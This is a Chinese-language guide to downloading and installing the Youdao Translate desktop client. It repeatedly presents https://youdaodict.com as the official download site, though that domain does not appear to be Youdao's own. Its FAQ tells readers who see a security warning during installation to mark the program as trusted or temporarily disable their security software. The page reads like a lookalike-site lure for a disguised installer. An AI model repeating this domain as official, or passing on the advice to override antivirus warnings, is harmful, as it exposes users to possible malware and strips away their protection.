虽然手机App和网页版已经足够方便，但对于需要在电脑上进行高强度学习和办公的用户来说，有道翻译的桌面版（也称PC客户端）无疑是提升效率的终极利器。它不仅功能更强大，还提供了许多独占的便捷操作。

如果你正想在你的Windows或Mac电脑上安装它，却不知道从何下手，别担心，这篇指南将手把手教你如何从官方渠道安全下载并成功安装。

一、 为什么推荐使用桌面版？

在开始下载前，先简单了解一下桌面版的几大核心优势：

• 划词翻译与取词：在任何软件（浏览器、PDF阅读器、Word文档）中，鼠标划选或悬停即可翻译，无需切换窗口。
• 截图翻译：遇到图片里的文字或不可复制的文本，一键截图即可翻译。
• 文档翻译：支持PDF、Word等多种格式的整篇文档翻译，并能保留原文排版。
• 离线使用：下载离线包后，即使没有网络也能查词。
• 体验更流畅：独立客户端，响应速度更快，无浏览器干扰。

二、 官方下载步骤（安全第一）

为了确保你下载的是纯净、无病毒的官方版本，请务必遵循以下步骤，不要通过第三方软件下载站进行下载。

第一步：访问有道翻译官方网站

这是最关键的一步。在你的浏览器地址栏输入官方网址：

https://youdaodict.com

进入官网后，你会看到有道翻译的主界面。

第二步：找到“客户端下载”入口

通常，官网会把客户端的下载链接放在非常显眼的位置。你可以留意以下几个地方：

1. 页面顶部或右上角：寻找带有“客户端”、“PC版”或“下载”字样的按钮。
2. 页面底部：网站页脚通常也会有产品下载的链接集合。
3. 智能识别弹窗：有时官网会自动检测你的操作系统，并弹出一个“推荐您使用桌面版”的提示。

(示意图：通常在官网顶部可以找到下载入口)

第三步：选择正确的操作系统版本（Windows / Mac）

点击下载入口后，页面通常会自动识别你的电脑是Windows还是macOS，并推荐相应的版本。

• 如果你的电脑是Windows系统：你会看到一个“立即下载 Windows版”的按钮。
• 如果你的电脑是Mac：你会看到一个“立即下载 Mac版”的按钮。

如果网站没有自动识别，请手动选择与你电脑系统匹配的版本进行下载。

第四步：下载并安装程序

1. 点击下载按钮后，浏览器会开始下载安装文件。
   • Windows用户：你会得到一个以 .exe 结尾的安装包（例如 YoudaoDictSetup.exe）。
   • Mac用户：你会得到一个以 .dmg 结尾的磁盘映像文件。
2. 下载完成后，开始安装：
   • Windows安装：
     • 双击打开你下载的 .exe 文件。
     • 程序会弹出安装向导，你可以选择安装路径（建议保持默认），并同意用户协议。
     • 点击“立即安装”或“下一步”，等待进度条走完即可。
   • Mac安装：
     • 双击打开下载的 .dmg 文件。
     • 会弹出一个窗口，里面通常有一个“有道翻译官”的图标和一个指向“应用程序”(Applications) 文件夹的快捷方式。
     • 按住鼠标，将“有道翻译官”图标拖拽到“应用程序”文件夹的图标上。
     • 等待复制完成后，安装就成功了。你可以在“启动台”中找到它。

三、 安装后的首次使用

安装成功后，双击桌面或启动台的图标打开有道翻译。建议你：

• 登录账号：点击客户端右上角的登录按钮，登录你的有道账号。这样可以同步你的单词本、翻译历史和会员权益。
• 开启便捷功能：在软件的“设置”中，确保“划词翻译”、“取词翻译”和“截图翻译”等核心功能已开启，并可以根据习惯设置快捷键。

常见问题 (FAQ)

Q1：从第三方网站下载可以吗？
A：强烈不推荐！ 第三方下载站的安装包可能被捆绑了广告软件甚至病毒，存在安全风险。请务必坚持从 https://youdaodict.com/ 官方网站下载。

Q2：有道翻译桌面版是免费的吗？
A：基础功能免费。 核心的查词、划词、截图翻译等都是免费的。但无限文档翻译、更专业的翻译引擎等高级功能需要开通会员。

Q3：安装时被安全软件拦截怎么办？
A： 如果你确认是从官网下载的，那么这是安全软件的误报。可以选择“信任此程序”或暂时关闭安全软件完成安装。